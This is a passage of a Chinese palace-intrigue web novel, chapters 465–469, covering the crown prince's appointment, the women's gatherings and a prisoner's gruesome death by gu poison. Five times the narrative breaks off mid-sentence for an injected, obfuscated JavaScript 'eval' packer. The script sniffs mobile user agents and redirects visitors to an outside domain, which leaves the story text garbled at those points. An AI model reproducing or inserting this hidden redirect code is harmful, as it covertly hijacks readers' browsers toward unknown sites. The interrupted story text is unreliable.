“这段时间担惊受怕,食不知味,好在,一切都过去了。” 陆知苒点头。 她们都知道,经此一事,萧晏辞的地位算是稳固了。 德丰帝便是再糊涂,也不可能再把皇位传给其他人。 婆媳二人正说着话,有宫人前来通传,“惠嫔娘娘求见。” 柔贵妃脸上的神色淡了几分。 “传吧。” 惠嫔的神色惶然,再没了当日的骄横和不可一世。 一见到柔贵妃,也顾不得陆知苒也在,她便“扑通”跪了下去,眼底也瞬间蓄了泪。 “贵妃姐姐,先前是我受人蒙蔽,一直对你心生误会,这才做了错事,对你多有得罪,我简直罪该万死!我实在是无颜面对你。” 此事真相,是萧晏珩亲口告诉她的。 她初初听闻,简直如五雷轰顶,没成想自己竟然一直恨错了人。 萧晏珩看她的眼神很冷。 “此事母妃固然是受人蒙蔽,但也是你识人不清,错信他人之故。柔贵妃遭此不白之冤,更险些遭你谋害,此事,你终归要给出一个交代来。” 萧晏珩对这个养母的感情本就不深厚,又得知她做下的糊涂事,萧晏珩对她更添几分冷淡。 惠嫔被当年之事打击得失魂落魄,却不得不亲自到夕颜殿来负荆请罪。 容不得她不来。 宫中的局势发生巨变,本以为已经驾崩的先皇,突然又活过来了,她从惠太妃又变回了惠嫔。 而柔贵妃母子一下翻了身,她若不主动低头认错,日后晚景凄凉。 她恨赵昭仪的算计,更怕自己被秋后算账。 柔贵妃淡淡地看着她,“你起来吧,当年之事,你也是受害者。” 惠嫔听到她这话,悬着的心终于放了下去。 “多谢贵妃姐姐宽宏大量。只恨我当初误信了小人,谁能想到,赵昭仪的心机竟如此深沉,而今她死在自己亲侄女手中,也算是报应!” 柔贵妃闻言,神色微动,“赵昭仪**?” 惠嫔恨恨点头,“没错,她死得可惨了,肠穿肚烂,七窍流血,疼得连指甲都劈叉了。她坏事做尽,落得这样的下场也是活该!” 惠嫔来夕颜殿之前,先去了赵昭仪那儿。 她对当年之事耿耿于怀,想要亲口问问赵昭仪究竟是怎么回事?为什么要如此害她? 她到时,刚好见到了赵昭仪疼得在地上疯狂打滚的情形,她甚至一直用脑袋撞地,以此来转移身上的疼痛。 见到那番情形,惠嫔先是吓了一跳,旋即便涌起一阵快意。 惠嫔没能从赵昭仪的口中再求证当年之事,但她心中已经有了答案。 他亲眼看到赵昭仪断了气才离开。 惠嫔讲述着赵昭仪的惨状,柔贵妃和陆知苒都没有什么反应。 赵昭仪死得固然很惨,但这是她咎由自取,她们再心善,也不会去同情她。 惠嫔喋喋不休地讲述着赵昭仪之事,转而又开始奉承讨好柔贵妃,姿态颇有些谄媚,柔贵妃心底生出几分不耐,委婉地把人打发走了。 惠嫔离开,锦瑟就忍不住出声抱怨。 “娘娘,当初她勾结赵昭仪害您,若非咱们早有防备,您就出事了。当初在冷宫,她还要对您动手,她随随便便道个歉您就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15980497|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原谅了她,您对她实在太仁慈了。” 柔贵妃语气幽幽,“我也不喜惠嫔,但我是看在安王的面子上,她到底是安王的养母。” 从知苒口中,她得知了安王这次帮了阿辞,她记着安王的情。 自己抓着惠嫔不放,也是打了安王的脸。 锦瑟闻言,这才闭嘴了。 陆知苒在夕颜殿一待便是大半日,到了晚膳时间,柔贵妃吩咐下人备膳,准备的是三人的。 她们都在等一个人。 只是不知道能不能等到。 即便经历了宫变,宫中各处也迅速地恢复了运转,宫女端着晚膳鱼贯而入。 满桌子的丰盛菜肴,香味扑鼻而来,二人却没急得动筷子,目光一直往门外瞟,锦瑟更是站在门外等着,若看到来人好第一时间回禀。 但左等右等,眼见饭菜都凉了,依旧没等到人。 柔贵妃心中失望,“时间不早了,我们吃饭吧,不等了。” 陆知苒心中也失望,但也没有坚持。 二人正欲动筷,锦瑟的眼睛倏而一亮,她惊喜地喊道:“娘娘,王妃,瑾王殿下来了。” 柔贵妃和陆知苒听了这话,眼底也陡然迸出欢喜。 二人齐齐起身,往外迎了出去。 萧晏辞带着一身风尘与疲惫,大步流星而入。 “儿臣拜见母妃。” 他的身子刚矮下半截,就被柔贵妃扶了起来。 “在母妃这里,何必讲究这些虚礼?快起来,让母妃好好看看。黑了,也瘦了!身上可有受伤?” 萧晏辞笑着摇头,“多亏了知苒给儿臣准备了软盔甲,替儿臣挡下了许多危险,不然,儿臣只怕不能囫囵地来见您了。” 说着话,他便含笑看向陆知苒,眸底一片灼亮。 前几日,在公主府他们便已经见了面。 但是碍于大局未定,正事要紧,彼此都很克制。 现在,大局落定,又是在自家母妃的地盘,萧晏辞的目光便炽烈了许多。 陆知苒对上他的目光,耳根微热,心情都跟着飞扬了起来。 第465章 这天下,就交给你了 萧晏辞看着满座的丰盛菜肴,当即就要坐下来开吃,却被柔贵妃拦住了。 “你身上这么脏,一股子汗味和血腥味,先去洗洗再回来吃。” 说着,她还嫌弃地捂着嘴。 萧晏辞:…… 所以,母妃对他的爱就只维持了短短一盏茶不到的时间? 好好好。 他终于明白了自己的定位。 他看看自己身上,的确埋汰,便干脆利落地去洗漱了。 柔贵妃这头则张罗着宫人重新热菜,脸上明显比方才更添了许多笑意。 萧晏辞很快沐浴好,也换上了柔贵妃早就准备好的衣裳。 这衣裳穿在身上,竟显得几分空荡,柔贵妃瞧着又一阵心疼。 开始用饭,她便一个劲地给萧晏辞夹菜,当然也没忘了陆知苒。 “母妃,别光顾着我们,您也多吃些,这段时日,您也受苦了。” 柔贵妃笑起来,“母妃在宫里好好的,能吃什么苦?你和滇南府上下都能好好的,母妃心里就高兴。” 萧晏辞瞧见她的眼角已经多了一道淡淡细纹,心底不由添了几分触动。 这一刻,萧晏辞心中生出了一个有些涩然的念头,母妃老了。 三人一起用着膳,萧晏辞一边跟她们讲着他在滇南府所经历的几场大战。 哪怕他已经刻意轻描淡写,但依旧让她们听得心惊胆战。 柔贵妃的心都彻底揪了起来。 还好,还好最后的结果是好的,自己在意的人,都安然无恙。 最后,萧晏辞状似随意地道:“谷将军也已经从狱中放了出来,他身体无恙,一切都好。” 柔贵妃的神色微顿,旋即笑了,“他安然无恙就好。” 多余的话,她没有问,不该问,也不必问。 用过膳,萧晏辞和陆知苒辞别柔贵妃,一起出宫回府。 宫中各处已经恢复秩序,昨夜厮杀留下的血迹被彻底清洗,好似一切从未发生过。 回到瑾王府,一切也早已恢复井然秩序。 唯一让陆知苒心疼的是,当初因自己金蝉脱壳,翠芙和丹烟被萧晏临下令捉拿,刑讯逼供。 虽有萧宝珠及时捞人,但二人还是吃了一番苦头。 两人用了许多名贵药材养着,现在已经好了大半。 今日,王府门前的禁军撤走,王府大门重开,金嬷嬷张罗众人打扫收拾各处庭院,翠芙和丹烟闲不住,也跟着忙碌着。 陆知苒见了她们尚且不大灵活的姿势,不禁心疼,主仆几人自然又是好一番叙旧。 萧晏辞大马金刀地坐在一旁,重重咳了一声,金嬷嬷立马识趣地把两个丫鬟拽走了。 王爷好不容易归家,和王妃自然是要好好亲近亲近的。 烛火轻摇,纱帐低垂。房中气氛旖旎,一切都水到渠成,恰到好处。 男**手丈量着她纤秾有度的身躯,粗粝而滚烫。 “长肉了。” 男人的嗓音沙哑,钻进陆知苒的耳中,带起一阵滚烫热意。 她的腰身盈盈不足一握,这段时日更清简许多,自然不可能长肉,长肉的是旁处。 陆知苒的脸颊羞红了,伸手去拧他,但他身上肌肉硬邦邦的,她那一下非但半点不疼,反倒似挑逗,瞬间激得男人身子紧绷,眸色更深了几分。 这一夜,不止陆知苒一人辛劳,萧宝珠也累得够呛。 素了大半年的男人,便似喂不饱的狼,一遍遍地索取讨要,简直没脸没皮,得寸进尺。 萧宝珠怒了,抬脚就踹,要把男人踹下床去泄愤。 奈何她身上软绵绵的,根本提不起半点力气,那一踹自然没把男人踹下床,反被他握住了玉足。 孙牧之自然不敢再乱来,老老实实地给萧宝珠擦洗一番,又抱着她阖上了眼睛。 男人身上如火炉一般滚烫,萧宝珠一整个晚上都贴在他的身上,睡得无比酣甜。 男人还是有点用处,至少晚上无需再灌汤婆子了。 翌日,大年初二。 本该封笔罢朝,但今年情况特殊,萧晏临留下的烂摊子还需要处理,是以早朝照旧。 萧晏辞和孙牧之早早起床,昨夜一番辛劳,两个男人依旧精神奕奕,不见半分疲态。 二人在朝堂上相遇,看到彼此脸上那抹容光,顿时明了,看来大家昨晚都吃到了肉。 这是德丰帝“死而复生”之后的第一次早朝,其意义非同一般。 众朝臣都打起十二分精神,站得笔直。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15990603|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 德丰帝在冯有才的搀扶下,穿着明黄龙袍,坐在了高高的龙椅上。 他的脸上依旧露出些许病态,但眼神锐利如鹰隼,通身都是帝王的威严。 他居高临下地俯视着众臣,顿时让人有种不寒而栗之感。 众臣都心惊胆战,唯恐今日德丰帝旧事重提,对他们秋后算账。 但令他们没想到的是,德丰帝提起了另一件事。 “朕欲立太子,诸位爱卿,可有何异议?” 众人面色各异,不少人都暗暗朝萧晏辞投去眼神。 萧晏辞也面露诧异,他没想到父皇会这么快提及册立太子之事。 大家自然不敢提半个异议。 德丰帝又问,“对于太子人选,诸位爱卿可有推举之人?” 众人面面相觑,虽知瑾王是不二人选,但大家一时都不敢贸然开口。 上回的经历,委实令他们有些杯弓蛇影。 大理寺少卿傅子诚站了出来,“皇上,微臣以为,瑾王殿下文武双全,才德兼优,可堪太子之位。” 傅子诚一直都是瑾王党,在先前的那场**中,他也出力不少。 傅子诚带头,其余官员也纷纷开口附和。 德丰帝面上威仪不减,缓缓开口,“瑾王听旨。” 萧晏辞立马跪下。 德丰帝的声线威严,“昔滇南之役,卿运筹帷幄,决胜千里。智略超群,克复南越;仁威并济,绥靖边陲。使大齐版图,益广疆域;边民安居,咸颂德化。朕心嘉悦,实深倚重。今特册封瑾王萧晏辞为皇太子,正位东宫,以固国本。” 萧晏辞以额触地,高声道:“儿臣领旨谢恩。承蒙父皇倚重,儿臣定夙夜兢惕,恪守祖训,伏乞父皇时时训诫。” 德丰帝看着那个儿子,眼底露出一抹微微的笑意。 罢朝之后,萧晏辞去御书房拜见德丰帝。 “父皇,您……” 萧晏辞刚起个头,德丰帝就打断了他。 “朕老了,早该放手了。” 若他此前便早做决断,也不会发生那场变故。 至少,那逆子想要谋夺皇位,也不会这般简单。 德丰帝拍了拍他的肩,语气沉缓。 “阿辞,今后,这天下便交给你了。” 第466章 催生 父子君臣二人正在议事,宫人入内回禀,语气小心翼翼。 “皇上,八皇子悬梁自尽了。” 殿内气氛静了一瞬。 片刻之后,德丰帝淡声开口。 “依庶人之礼办吧,不必再来回禀。” 宫人恭敬退下。 德丰帝的面色笼着晦暗,没有再多提萧晏临半个字,萧晏辞也识趣地没有多说。 不管生前如何,人既已经**,就没必要揪着不放。 紧接着,太子妃和侧妃也跟着悬了梁,结束了年轻的生命。 德丰帝并没有发落她们,但她们看不到活下去的希望,只有看不到头的黑暗,所以选择了结束这一切。 这些消息没有再传到德丰帝耳中。 陆知苒很快得知了萧晏辞受封太子之事,她并不意外,心中升起一股大石落定之感。 朝堂这接二连三地权力更迭让民间彻底沸腾了。 谁能想到,本已经**的先皇又活过来了,刚刚登基的新帝成了逆贼,而原本的“谋逆之臣”瑾王护驾有功,而今一跃成了太子。 这接二连三的故事,简直比说书还精彩。 老百姓们其实不关心究竟谁来当皇上,他们真正关心的是,此前颁布的减免一成赋税的政令,是否还作数? 德丰帝洞悉民情,很快颁布旨意:前诏减赋什一,事定仍存。 百姓们吃了定心丸,纷纷磕头恭颂皇上仁德。 瑾王府上下又重新开始忙碌起来,为接下来入主东宫做准备。 大年初五,太子册封仪式完成。 完成了这桩大事,德丰帝这才下旨,允众臣休息十日,过完元宵再重启朱笔。 过了个心惊胆战的年关,众臣悬着的心才终于彻底放了下去。 该清算的人,已经被彻底清算了,剩下的他们,都不用再担心了。 至少,只要他们不作死就不会有事。 大年初六,陆知苒在东宫设宴,邀了萧宝珠、邢初雪和蒋南笙赴宴。 前段时间事情千头万绪,大家都没能喘口气。 现在终于得了空闲,几人自然要聚一聚。 不然,再过一段时日,邢初雪又要随安王返回封地去了。 邢初雪的身形较之以往稍显富态,并不胖,只是恰到好处的丰腴,别有一番风味。 反观以往肉嘟嘟的萧宝珠,腰身越发纤细,脸颊也瘦了一大圈,当真是只有巴掌那般大。 邢初雪不禁有些懊恼,她捏了捏自己腰上的软肉。 “我今后是万万不能再多吃了,不然真的要横着长了。” 经过了先前那段神经紧绷的日子,又有爱情的滋润,萧宝珠的精神肉眼可见地容光焕发,胃口也恢复了大半。 从坐下来开始,她嘴巴就没闲过。 听了邢初雪这话,她道:“怎么,五皇兄莫不是敢嫌弃你?” 邢初雪立马为萧晏珩辩解,“殿下人很好,从不嫌弃我。” 相反,他还总是捏着自己腰上的软肉说胖点好,摸起来不咯手。 但这话她自是不能说。 “是我自己觉得有点太胖了,如你现在这般最好。” “可是不能随心所欲地吃东西,想想就难受。” 萧宝珠原本也觉得身形纤细了要好看些,但孙牧之和甄氏都说她还是以前那样更好,加上还有美食的诱惑,萧宝珠立马就抛弃了对身材的执念。 人活一世,如果连美食都不能好好吃,那还有什么意思? 陆知苒和蒋南笙都笑看着她们,没有参与这个话题。 胖瘦美丑都是个人的喜好,也是个人选择,她们自己觉得没问题就行。 邢初雪很快抛开了此事,她看向蒋南笙,面色有些赧然。 “南笙,你能给我号一号脉吗?” 萧宝珠疑惑,“你怎么了?身子不舒服吗?” 陆知苒和蒋南笙却一下明白了过来,看向她的肚子。 果然,邢初雪道:“我想看看我的身体恢复得如何了,现在是否适合有孕。” 她此前受了一次重伤,身子有了亏损,不适合要孩子。 恰好萧晏珩也在调理身子,也不适合要子嗣,邢初雪这才压下心急。 眼下过了一年,萧晏珩的旧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15990604|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疾已经调理得差不多了,她自己也调养了这么久,便又动了心思。 刚好蒋南笙也在这,她便提了此事。 蒋南笙也没有推辞,伸手就给她搭了脉。 “你受伤之后休养得精心,身上的亏损已然补上了,眼下你身体健康,只需放宽心态,孩子自然就来了。” 邢初雪闻言,好似吃了一颗定心丸,瞬间露出笑来。 蒋南笙话头一转,“只是,你若想要孩子,便不可盲目节食,不然身子反倒亏损了。” 邢初雪闻言精神一凛,立马就打消了方才才升起的要少吃保持身形的念头。 萧宝珠也伸出手,巴巴地看着她。 “阿笙,你快给我和苒姐姐也看看。” 陆知苒听她把自己也捎带上了,倒也没反对。 虽然她并不急着有孕,但先号一号脉也无妨。 蒋南笙便给她们一一都诊了脉,也都给她们吃了定心丸。 “你们的身子都好得很,有孕不过迟早之事。” 蒋南笙又出言规劝,“不过,身为大夫,我劝诫你们,太早生孩子并无益处。尤其是你,宝珠,你大可再多等两三年。” 萧宝珠对此有些懵懂。 “我已经及笄了,大家不都是这个年纪怀孕生子吗?” 蒋南笙语重心长,“生孩子是一道鬼门关,并没有那么简单,刚及笄的女子身体并没有发育好,据我与各地游医交流的经验来看,女子最佳生育年龄在二十到二十五岁之间。” 萧宝珠第一回听说这个论断,但这话是蒋南笙说的,她便不由多了几分信服。 邢初雪也似想起了什么,“艾伯特也曾说过类似的话。” 萧宝珠看向陆知苒,“苒姐姐,咱们几个就你条件契合,你可得抓紧给七皇兄添个子嗣,我可等着当姑姑呢。” 陆知苒没想到,自己遇到的第一个催生的人会是萧宝珠。 蒋南笙笑着打趣,“这事光靠知苒一人可不行,得阿辞多加把劲才行。” 陆知苒:…… 嗯,他已经够努力了,不需要再加把劲了。 第467章 赵书宁** 话题不可避免地没羞没臊的方向发展。 萧宝珠起先以为蒋南笙这个未嫁之人会不好意思,但彼此话头一说开,萧宝珠就发现了不得了的事。 “阿笙,你,你和林铮……你们……” 蒋南笙十分坦荡,“我们虽没有夫妻之名,确有夫妻之实。” 萧宝珠噌地就站了起来,满脸怒气。 “是不是林铮强迫你的?我,我这就去找他算账!” 蒋南笙把她摁了回来,“不是,我挺乐意的。” 萧宝珠依旧不相信,“阿笙,你不要为他说话,定是他花言巧语哄骗了你!” 陆知苒也伸手把萧宝珠拉回来,“宝珠,你太小瞧南笙了,她若不愿,林铮可哄骗不了她。” 她冷眼旁观,林铮在蒋南笙面前,完全被吃得死死的,蒋南笙不愿意,他断不敢越雷池半步。 萧宝珠只是一叶障目,总觉得蒋南笙会吃亏。 邢初雪对林铮不了解,她没贸然开口,完全一副等着吃瓜的模样。 蒋南笙握着萧宝珠的手,语气郑重。 “宝珠,我知道你关心我,怕我受欺负,但你放心,阿铮很好,我没吃亏。” “那你们什么时候成婚?他什么都没有,拿什么娶你?哼,到时候让他倒插门。” 蒋南笙摇头,“我不打算成婚。” 萧宝珠呆了呆,陆知苒和邢初雪表情也顿了顿,三人六只眼齐齐看向她。 “那你们……” 蒋南笙:“我们现在这样不挺好的吗?为何非要成婚?” 她的语气疏松平常,不似玩笑。 萧宝珠显然没想过这个情况,脑子都有些转不过弯来。 “日后,我还是会离开京城,靠自己的双脚踏遍大齐的山河,见识更多疑难杂症,也向各个先辈或同行学习经验。一旦成了婚,有了孩子,或许,我就会被困住了。” 相夫教子,这个责任太沉了,她没有这个能力去承担,而且她也的确志不在此。 眼下,林铮很愿意陪着她游历大河山川,也不会干涉她的决定。 但成婚后,或许他就不愿意了,他对自己或许会生出新的期待和要求。 蒋南笙不愿意妥协,也不希望两人之间和睦的关系被破坏。 与其如此,不如维持现状。 他若愿意追随,蒋南笙也会待他始终如一。 若有朝一日,他累了,倦了,蒋南笙也不会强留。 没有一纸婚约的束缚,他们的关系,或许反而会更加紧密。 蒋南笙平和地讲述着自己的心志和抱负,几人从一开始的震惊,到后面慢慢平静下来,心中也不自觉升起几分复杂情绪。 “你们会不会觉得我很离经叛道,不知廉耻?” 萧宝珠立马摇头,“谁敢这么说你,本公主第一个拔了他的舌头。” 蒋南笙露出了笑来。 她便知道,宝珠总会无条件地站在自己这边。 陆知苒道:“你的想法超乎世俗,很洒脱,令我十分钦佩。” 邢初雪也跟着点头,“没错,跟你一比,我顿时觉得自己目光短浅,所思所想就只在后宅的一亩三分地里。” 她们的态度让蒋南笙感到温暖。 “兴许是我自小便被当成男子教养,才会生出这样的念头,幸而没有把你们吓到。” 也只有她们才会这般快地接受了自己的想法,但凡换个人,自己都会被指着鼻子骂了。 萧宝珠又问起了她更关心的另一件事。 “你这次又准备什么时候走?” 她的语气充满了怨念。 萧宝珠自然舍不得蒋南笙走,但方才蒋南笙便已经表明了自己的心志,萧宝珠知道留不住她,也不想把自己的意愿强加到她的身上去。 蒋南笙笑了笑,“没那么快,至少大半年之后再考虑此事。” 她已经向德丰帝提了立女户的请求,德丰帝允了,还赐了一座宅子给她。 蒋南笙把蒋家的女眷接到了新宅子。 在离开之前,她要安置好她们,该出嫁的出嫁,该读书的读书,而婶娘和嫂子等妇人,则要学会撑起门楣。 蒋家是医药之家,有她的先例在,再没有传男不传女的规矩。 她要让蒋家的女眷把医术学起来,就算不能精通,至少也不能一窍不通。 这些事情她要安排好,没有大半年的时间自是不行。 而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15999646|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 且,德丰帝的身体也需要她继续调理。 萧宝珠闻言,顿时松了口气。 几人又天南地北地聊了许多,气氛十分和乐。 最后,萧宝珠感叹,“若是寒衣也在就好了。” 提起叶寒衣,几人心中都升起思念。 蒋南笙道:“我这次在南疆见着她了,只是当时内忧外患,气氛紧张,我们没来得及多叙旧。” 陆知苒出声宽慰,“殿下说,他离开时,寒衣一切都好。来日方长,我们定然还有机会再见。” 就在这时,有宫人入内回禀。 “太子妃,刑部那头传来消息,赵书宁**。” 这个消息顿时让众人之间的气氛笼上了一层微妙。 萧宝珠怒骂,“死得好!这么个祸害,早就该**。” 陆知苒蹙眉,“她是**的?” 皇上下旨公开问斩,便有借此震慑众人之意,而赵书宁却死在了狱中,难保皇上不会问责。 萧晏辞刚被封太子,接管朝政,此事说大不大,说小不小,若皇上因此动怒,萧晏辞怕是要受无妄之灾。 刑部那头派人来东宫传信,想来也是出于这个担忧。 “是**身亡。” “她身上怎会有**?” “是四公主去了狱中,见了她一面,折辱了一番,四公主走了之后没多久,她就**身亡了。” 萧宝珠听得眉头都拧成了疙瘩。 “四皇姐怎么这么拎不清?这个时候去对赵书宁用私刑,还把人弄**,她就不怕父皇怪罪?” 当日,她向德丰帝提出讨要赵书宁,亲手处置,可是被拒绝了的。 而今她私下又去做了这事,岂不是公然违逆德丰帝的意思? 原本因为上次的事,萧宝珠对这个四皇姐多少生出了点同病相怜。 没想到她这般蠢,自己给自己找事。 就算她痛恨赵书宁,私下用刑也就罢了,也不该给赵书宁**,让她服毒自尽啊。 正无语着,又有丫鬟前来通禀,“太子妃,四公主求见。” 说曹操曹操到,可真是巧了。 “让她进来吧。” 她们也想听听到底是怎么一回事。 第468章 以身饲蛊 萧婉贞很快到了,她见到萧宝珠等人,不禁微微愣了愣。 “见过太子妃。” 陆知苒的身份不同了,萧婉贞即便是皇姐,也要行礼。 陆知苒淡淡叫起,直入主题。 “方才我听人来报,赵书宁在狱中**,还是在你去见了她之后**死的,这是怎么一回事?” 萧婉贞没想到陆知苒的消息这般快,她有些着急。 “太子妃,此事与我无关啊,我没有给她下毒!” 萧宝珠蹙眉,“四皇姐,你最好老实交代,不然父皇过问下来,我们也帮不了你。” 萧婉贞面上焦急更甚,“我说的都是实话,我真的没有给她下毒。我,我只是打了她一顿而已……” 萧婉贞并非宽宏大量之人,她心里一直记着赵书宁的那笔账。 赵书宁就要问斩了,萧婉贞依旧觉得心中恶气难消,她便去了狱中,拿鞭子狠狠抽了赵书宁一顿。 赵书宁被她打得皮开肉绽,却死咬着没有求饶,萧婉贞担心真把人打**不好交代,就愤愤离开了。 谁曾想,她才刚回到公主府没多久,就有人匆匆来报,说赵书宁**。 萧婉贞也担心这口黑锅落到自己的头上,这才马不停蹄地往东宫来。 她不敢入宫去见德丰帝,便只有到东宫求助。 萧宝珠再三询问,“你真的没有给她下毒?也没有给她**?” 萧婉贞语气焦急,指天发誓,“我真的没有,我打了她一顿泄愤就走了。当时狱卒们都在,他们都可以为我作证!” 陆知苒看她神色认真,倒不似作伪。 凭她对赵书宁的了解,赵书宁也不像是会主动服毒自尽的人。 难道,还有人想要赵书宁死? 如果是这样的话,就得好好查清楚了。 看看究竟是谁胆敢再把手伸进刑部大牢里去。 蒋南笙道:“我去看看,她究竟是中了什么毒死的。” 萧宝珠立马起身,“我也要去。” 最后,她们几人索性就全都去了。 狱卒没想到一下来了这么多贵人,他小心提醒,“她的死状有些不好看,只恐污了诸位贵人的眼。” 蒋南笙自是不怕的。 陆知苒也面不改色。 萧宝珠和邢初雪看到那具已经盖上白布的尸体,心里开始发怵了,下意识往后躲。 萧婉贞心里也害怕,却强撑着没表现出来。 “揭开吧。” 狱卒掀开了那白布,萧婉贞只看了一眼,就发出一声惊恐尖叫,吓得跌倒在地。 萧宝珠和邢初雪听到这尖叫,更是连连后退,死死捂住自己的眼睛不敢看。 此时的赵书宁根本称不上一个人,俨然如同可怖的鬼魅。 她的七窍渗出晶亮红丝,在烛火下如活物般蠕动。尸身皮下凸起蛛网状纹路,最骇人处在其双目——眼眶内不见眼球,唯有两簇猩红丝团。 陆知苒见此情形,亦是不禁汗**倒竖起来。 唯有蒋南笙面不改色。 她让狱卒把灯提近些,自己则戴上手套,蹲下身去,打算亲自动手查验死因。 陆知苒起先还能维持表面的镇定,最后也实在看不下去,转身避开了视线。 萧宝珠几人则是直接逃出去了,在这里多待一刻钟,她们晚上都得做噩梦。 这一刻,陆知苒对蒋南笙的佩服达到了顶峰。 并非所有人都有那般心性,能胜任医者之职。 小半刻钟后,蒋南笙有了收获,重新将白布盖上,自己则仔仔细细地净了手。 身上这身衣裳也弄脏了,但此处无衣可换,便只能姑且将就了。 正这时,又有人来了。 为首之人赫然是萧晏辞,而他的身后,还跟着一人,林铮。 众人立马向萧晏辞行礼,他径直走到陆知苒面前,见她面色发白,低声询问,“可是吓到了?” 陆知苒老实地点头,“的确有点。” “那么一个人,**便**,哪里值得让你亲自来?” 陆知苒:“到底是我的故人,我也想亲眼看看她最后的结局。” 她和赵书宁前世今生斗了两辈子,上辈子自己惨败,这辈子她赢了,她本打算赵书宁行刑之日亲自去观刑,没曾想她提前**。 陆知苒亲自来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15999647|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看一眼,既是想弄清楚她的死因,也是想为彼此的关系做一个了结。 林铮已经走到了蒋南笙的身边,拿出了自己带着的干净衣裳。 “先把脏衣换了。” 蒋南笙脸上露出笑容,“你怎知我在此?” 林铮:“我去太子府接你,下人说你们来了刑部。” “你怎知我会弄脏衣裳?” 林铮:“我不知,只是习惯给你多带一身备用衣裙罢了。” 蒋南笙不再问,只是脸上的笑意愈浓了三分。 萧晏辞和陆知苒将二人对话尽收耳中,萧晏辞一副牙酸的表情,陆知苒唇角则不自觉微微勾了勾。 看到别人甜甜蜜蜜的样子,的确也是一件令人心情愉悦的事。 蒋南笙换好了衣裙,几人才离开了刑部。 一出来才发现,孙牧之和萧晏珩竟然也来了,他们各自立在自己媳妇身后,似一个保护神。 只有萧婉贞形单影只,站在他们之中,显得有些格格不入。 萧婉贞:……要不我走? 萧宝珠忙不迭迎上来,询问结果。 “阿笙,怎么样?你查清楚原因了吗?” 蒋南笙点头。 “查清楚了,是蛊。” 又是蛊! 蒋南笙拿出一个瓷瓶,里面装着的,便是她从赵书宁身上找到的赤红蛊虫。 “此蛊名为红蛛蛊,形如赤红蛛丝,需以宿主骨髓温养百日方能成熟。若我没猜错的话,赵书宁是在以身饲蛊。” 此言一出,众人的面色都变了,几个女人的鸡皮疙瘩都冒了起来。 萧宝珠的声音都结巴了,“她,自己给自己下蛊?” 蒋南笙点头,“我在南越时,便从不少巫者口中听说此法。此法的确风险极大,但以身饲蛊养出来的蛊虫会对宿主有感召,能驱动蛊虫为自己所用。” “赵书宁身上的红蛛蛊看上去尚未成熟,因她身陷囹圄,吃食大不如前,营养跟不上,难以压制体内的蛊虫。而四公主的那一顿鞭子更让她的身体彻底垮掉,这才遭了蛊虫的反噬,爆体而亡。” 这一番解释再次让众人不寒而栗。 第469章 东宫选侧妃 萧婉贞的脸色也十分惨白。 她没想到自己那一鞭子竟然起了这样的作用。 当时自己若是再抽狠一点,是不是就能当场看到赵书宁发作身亡的过程? 想到自己方才所见那恐怖的一幕,萧婉贞胃里就一阵翻滚起来。 事情弄清楚了,她便没有再多待,被丫鬟搀着,忙不迭地走了。 其余众人也没有继续在这里多待。 萧宝珠拍着胸口,“太吓人了,咱们去吃点好吃的,压压惊。” 难得聚那么齐,众人一拍即合,直接去了漱芳斋,饱餐了一顿,这才各自归家。 萧晏辞将此事上禀给德丰帝。 德丰帝闻言,眼底露出深深的嫌恶。 “咎由自取,死不足惜!” 